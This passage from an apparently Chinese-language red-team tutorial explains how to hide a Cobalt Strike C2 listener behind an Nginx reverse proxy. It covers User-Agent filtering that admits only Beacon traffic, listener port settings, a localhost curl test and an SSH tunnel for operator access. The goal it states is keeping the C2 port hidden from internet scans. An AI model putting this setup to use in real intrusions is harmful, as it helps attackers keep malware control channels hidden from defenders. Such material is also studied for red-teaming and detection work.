proxy_set_header：用于配置Nginx转发源IP
proxy_pass：用于将 Nginx 端口的流量转发到 CS 的监听器端口
**location ~*/ ：**定义了根据 User Agent 进行过滤，这边设置了只有UA头为abc的时候才跟Beacon 的通信，否则重定向到403页面
修改前
修改后
3、CS监听器设置
我们通过 Nginx 充当反向代理来保护CS 的监听端口
所以我们在 CS 中的监听器这样设置，HTTP Port (C2) 为 Nginx 监听端口，HTTP Port (Bind) 为 Cobalt Strike 的监听器端口
4、检验成果
直接访问8080端口，出现了404页面
我们前面配置了nginx.conf，UA头不是abc，所以跳转
curl https://127.0.0.1:8080/123 -v -k
我们指定UA头为abc，则可以读取到123目录下的文件
反向代理
我们前面设置了只能本地(127.0.0.1)登入，所以我们可以使用ssh隧道链接
ssh -L 本机端口:127.0.0.1:vps端口 strapi@10.10.11.105
Apache反代
使用apache做反代，我自己试了5-6次，有时候可以有时候不行，也不太清楚为何，感觉cs跟apache经常联动不起来，这里就不放图了，有兴趣的话可以参考https://www.cnblogs.com/safezhi/articles/17178585.html
四、总结
通过上诉操作，我们得到了一个相对安全的C2服务器，我们的 CS 监听端口将无法从公网上查到，即便对 Nginx /Apache的端口进行特征扫描，也难以得到结果。当然，为了使我们的C2更加安全，你完全可以使用2台vps，把反向代理部署在单独的转发器上，最后，我们可以通过 SSH 隧道，将CS服务器的端口映射到自己 Kali 主机上进行登陆。
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